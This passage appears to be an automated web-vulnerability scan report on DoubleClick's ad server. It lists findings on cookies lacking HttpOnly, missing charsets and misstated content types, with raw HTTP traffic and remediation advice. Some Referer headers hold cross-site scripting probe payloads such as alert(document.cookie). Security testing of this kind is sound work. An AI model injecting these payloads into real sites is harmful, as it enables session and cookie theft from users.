GET /adi/N3941.ContextWebInc./B5198619.4;sz=728x90;pc=54144;click=http://cdslog.contextweb.com/CDSLogger/L.aspx?q=C~526328~1998~54144~108393~79778~4~427~3~middletownpress.com~2~8~1~0~2~1~stCJdbHvpMtNcqViEwqQrHxEWkwXUKMsTK2ZnKOFzzU^~75~2~ASaPOUiWcPsm~gFEcJzqCjXJj~1~1~1~~;ord=1104310485? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://tag.admeld.com/ad/iframe/215/journalregistercompany/728x90/middletown_press_atf?t=1296072882978&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fwww.middletownpress.com%2Farticles%2F2011%2F01%2F26%2Fentertainment%2Fdoc4d3fa2e76b25f513477040.txta5a69%2522style%253d%2522x%253aexpression(alert(1))%25225c0fc6a83d6&refer=http%3A%2F%2Fburp%2Fshow%2F23 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 6544 Cache-Control: no-cache Pragma: no-cache Date: Wed, 26 Jan 2011 22:09:30 GMT Expires: Wed, 26 Jan 2011 22:09:30 GMT Discarded: true
<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. --> <!-- Code auto-generated on Mon Nov 22 10:44:09 EST 2010 --> <script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script> ...[SNIP]...
GET /adi/N5371.ABC/B5114539.4;sz=300x250;click=http://log.go.com/log?srvc=abc&guid=8620FBDB-CA92-45A3-AB6D-D77A4C489742&drop=0&addata=1625:55542:759837:52320&a=1&goto=;pc=dig759837dc885481;ord=2011.01.26.09.14.03? HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 5304 Cache-Control: no-cache Pragma: no-cache Date: Wed, 26 Jan 2011 23:28:55 GMT Expires: Wed, 26 Jan 2011 23:28:55 GMT Connection: close
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,901 Template Name = Banner Creative (Flash) - In Page ...[SNIP]... <!-- Copyright 2006 DoubleClick Inc., All rights reserved. --><script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script> ...[SNIP]... </noscript> <SCRIPT SRC="http://amch.questionmarket.com/adscgen/st.php?survey_num=853829&site=58134943&code=40015506&randnum=7960311" LANGUAGE="JavaScript"></SCRIPT> ...[SNIP]...
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The following cookie was issued by the application and does not have the HttpOnly flag set:
id=c653243310000d9|2155040/914354/15000|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /click;h=v8/3a9b/f/8b/*/c;234366590;0-0;0;58134939;3454-728/90;40016019/40033806/1;;~okv=;pc=dig759825dc885480;;~sscs=?http:/log.go.com/log?srvc%3dabc%26guid%3d9124C358-CC09-4A53-B6AF-054934DCA4EE%26drop%3d0%26addata%3d0:55542:759825:52320%26a%3d1%26goto%3dhttp%3a%2f%2fwww.facebook.com/Tropicana%3Fv%3Dapp_134465043278855 HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Location: http://log.go.com/log?srvc%3dabc%26guid%3d9124C358-CC09-4A53-B6AF-054934DCA4EE%26drop%3d0%26addata%3d0:55542:759825:52320%26a%3d1%26goto%3dhttp:%2f%2fwww.facebook.com/Tropicana%3Fv%3Dapp_134465043278855 Set-Cookie: id=c653243310000d9|2155040/914354/15000|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Date: Wed, 26 Jan 2011 23:29:11 GMT Server: GFE/2.0 Content-Type: text/html Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
id=c653243310000d9|644190/611537/15000|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /clk;214236123;36139234;u?http://www.orbitz.com/App/DisplayCarSearch?gcid=C11287x798&WT.mc_id=o_bing_msntravel&WT.mc_ev=click&DCSext.mc_kw=cars HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Location: http://www.orbitz.com/App/DisplayCarSearch?gcid=C11287x798&WT.mc_id=o_bing_msntravel&WT.mc_ev=click&DCSext.mc_kw=cars Set-Cookie: id=c653243310000d9|644190/611537/15000|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Date: Wed, 26 Jan 2011 15:57:35 GMT Server: GFE/2.0 Content-Type: text/html Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Wed, 26 Jan 2011 15:26:11 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /clk;214236123;36139234;u?http://www.orbitz.com/App/DisplayCarSearch?gcid=C11287x798&WT.mc_id=o_bing_msntravel&WT.mc_ev=click&DCSext.mc_kw=cars HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Location: http://ad.doubleclick.net/clk;214236123;36139234;u?http://www.orbitz.com/App/DisplayCarSearch?gcid=C11287x798&WT.mc_id=o_bing_msntravel&WT.mc_ev=click&DCSext.mc_kw=cars&_dc_ck=try Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Wed, 26 Jan 2011 15:26:11 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Date: Wed, 26 Jan 2011 15:11:11 GMT Server: GFE/2.0 Content-Type: text/html Connection: close
7. HTML does not specify charsetpreviousnext There are 22 instances of this issue:
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
GET / HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 200 OK Server: DCLK-HttpSvr Content-Type: text/html Content-Length: 1175 Last-Modified: Fri, 12 Oct 2007 16:17:37 GMT Date: Wed, 26 Jan 2011 23:30:38 GMT Connection: close
<html> <body bgcolor=#ffffff> <b>This is a DoubleClick advertising server.</b> <p><center> <a href="http://www.doubleclick.com"> Click here for the DoubleClick home page.</a> <p> <a href="http: ...[SNIP]...
GET /adi/N3158.247RealMedia/B4708174.28;sz=728x90;click0=http://network.realmedia.com/RealMedia/ads/click_lx.ads/dispatch/ros/728x90/jx/ss/a/L27/1539622220/Top1/USNetwork/BCN2010070180_063_Staples/123_728.html/726348573830307044726341416f7670?;ord=1539622220? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.dispatch.com/live/content/national_world51531'%3balert(document.cookie)//2172b1d83e7/stories/2011/01/26/emanuel-asks-state-high-court-to-put-him-back-on-the-ballot.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 26 Jan 2011 20:22:01 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 6445
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]...
GET /adi/N3158.273736.24/B5124686.8;sz=728x90;click0=http://network.realmedia.com/RealMedia/ads/click_lx.ads/dispatch/ros/728x90/jx/ss/a/L27/468128897/Top1/USNetwork/BCN2010120365_005_Staples/2010120365_728.html/726348573830307044726341416f7670?;ord=468128897? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://markets.dispatch.com/columbusdispatch?6b6c3'-alert(document.cookie)-'83850a93671=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Thu, 27 Jan 2011 13:55:00 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 6622
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]...
GET /adi/N3753.salon/B4868617.25 HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 343 Cache-Control: no-cache Pragma: no-cache Date: Wed, 26 Jan 2011 23:28:59 GMT Expires: Wed, 26 Jan 2011 23:28:59 GMT Connection: close
GET /clk HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 500 Error: Not a valid request Content-Type: text/html Content-Length: 45 Date: Wed, 26 Jan 2011 15:11:11 GMT Server: GFE/2.0 Connection: close
GET /csi/d HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 28 Date: Wed, 26 Jan 2011 23:30:35 GMT Server: GFE/2.0 Connection: close
GET /doubleclick/DARTIframe.html HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 28 Date: Wed, 26 Jan 2011 23:30:38 GMT Server: GFE/2.0 Connection: close
<h1>Error 404 Not Found</h1>
8. Content type incorrectly statedprevious There are 3 instances of this issue:
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
The response contains the following Content-type statement:
Content-Type: text/html
The response states that it contains HTML. However, it actually appears to contain XML.
Request
GET /clk HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 500 Error: Not a valid request Content-Type: text/html Content-Length: 45 Date: Wed, 26 Jan 2011 15:11:11 GMT Server: GFE/2.0 Connection: close
The response contains the following Content-type statement:
Content-Type: text/html
The response states that it contains HTML. However, it actually appears to contain XML.
Request
GET /csi/d HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 28 Date: Wed, 26 Jan 2011 23:30:35 GMT Server: GFE/2.0 Connection: close
The response contains the following Content-type statement:
Content-Type: text/html
The response states that it contains HTML. However, it actually appears to contain XML.
Request
GET /doubleclick/DARTIframe.html HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 28 Date: Wed, 26 Jan 2011 23:30:38 GMT Server: GFE/2.0 Connection: close